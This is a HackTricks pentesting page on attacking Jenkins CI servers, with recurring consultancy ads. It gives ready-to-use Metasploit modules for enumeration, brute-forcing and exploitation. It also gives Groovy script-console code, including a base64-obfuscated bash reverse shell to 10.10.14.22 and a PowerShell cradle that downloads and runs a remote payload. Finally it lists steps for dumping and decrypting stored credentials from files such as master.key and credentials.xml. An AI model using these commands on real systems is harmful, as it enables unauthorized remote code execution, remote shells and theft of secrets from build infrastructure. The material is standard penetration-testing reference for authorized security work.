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hacktricks/cloud-security/jenkins.md
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Jenkins

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Through Security Skills as a Service, we help organizations to defend against the Dark Hacking Arts. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering high-quality penetration testing results. Security Hubs bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a complete assessment of any risks.

{% embed url="https://securityhubs.io/" %}

Basic Information

Jenkins offers a simple way to set up a continuous integration or continuous delivery (CI/CD) environment for almost any combination of languages and source code repositories using pipelines, as well as automating other routine development tasks. While Jenkins doesn’t eliminate the need to create scripts for individual steps, it does give you a faster and more robust way to integrate your entire chain of build, test, and deployment tools than you can easily build yourself.
Definition from here.

Unauthenticated Enumeration

In order to search for interesting Jenkins pages without authentication like (/people or /asynchPeople, this lists the current users) you can use:

msf> use auxiliary/scanner/http/jenkins_enum

Check if you can execute commands without needing authentication:

msf> use auxiliary/scanner/http/jenkins_command

Without credentials you can look inside /asynchPeople/ path or /securityRealm/user/admin/search/index?q= for usernames.

You may be able to get the Jenkins version from the path /oops or /error

Login

You will be able to find Jenkins instances that allow you to create an account and login inside of it. As simple as that.
Also if SSO functionality/plugins were present then you should attempt to log-in to the application using a test account (i.e., a test Github/Bitbucket account). Trick from here.

Bruteforce

Jekins does not implement any password policy or username brute-force mitigation. Then, you should always try to brute-force users because probably weak passwords are being used (even usernames as passwords or reverse usernames as passwords).

msf> use auxiliary/scanner/http/jenkins_login

Jenkins Abuses

Known Vulnerabilities

{% embed url="https://github.com/gquere/pwn_jenkins" %}

Dumping builds to find cleartext secrets

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

Password spraying

Use this python script or this powershell script.

Decrypt Jenkins secrets offline

Use this script to decrypt previsously dumped secrets.

Decrypt Jenkins secrets from Groovy

println(hudson.util.Secret.decrypt("{...}"))

Through Security Skills as a Service, we help organizations to defend against the Dark Hacking Arts. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering high-quality penetration testing results. Security Hubs bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a complete assessment of any risks.

{% embed url="https://securityhubs.io/" %}

Code Execution

Create a new project

This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).

  1. Create a new project (Freestyle project)
  2. Inside Build section set Execute shell and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using unicorn). Start the payload with PowerShell.exe instead using powershell.
  3. Click Build now

Go to the projects and check if you can configure any of them (look for the "Configure button"):

Or try to access to the path _/configure_ in each project (example: /me/my-views/view/all/job/Project0/configure).

If you are allowed to configure the project you can make it execute commands when a build is successful:

Click on Save and build the project and your command will be executed.
If you are not executing a reverse shell but a simple command you can see the output of the command inside the output of the build.

Execute Groovy script

Best way. Less noisy.

  1. Go to path_jenkins/script
  2. Inside the text box introduce the script
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

You could execute a command using: cmd.exe /c dir

In linux you can do: "ls /".execute().text

If you need to use quotes and single quotes inside the text. You can use """PAYLOAD""" (triple double quotes) to execute the payload.

Another useful groovy script is (replace [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell in linux

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell in windows

You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

MSF exploit

You can use MSF to get a reverse shell:

msf> use exploit/multi/http/jenkins_script_console

POST

Metasploit

msf> post/multi/gather/jenkins_gather

Files to copy after compromission

These files are needed to decrypt Jenkins secrets:

  • secrets/master.key
  • secrets/hudson.util.Secret

Such secrets can usually be found in:

  • credentials.xml
  • jobs/.../build.xml

Here's a regexp to find them:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

References

Through Security Skills as a Service, we help organizations to defend against the Dark Hacking Arts. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering high-quality penetration testing results. Security Hubs bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a complete assessment of any risks.

{% embed url="https://securityhubs.io/" %}

Support HackTricks and get benefits!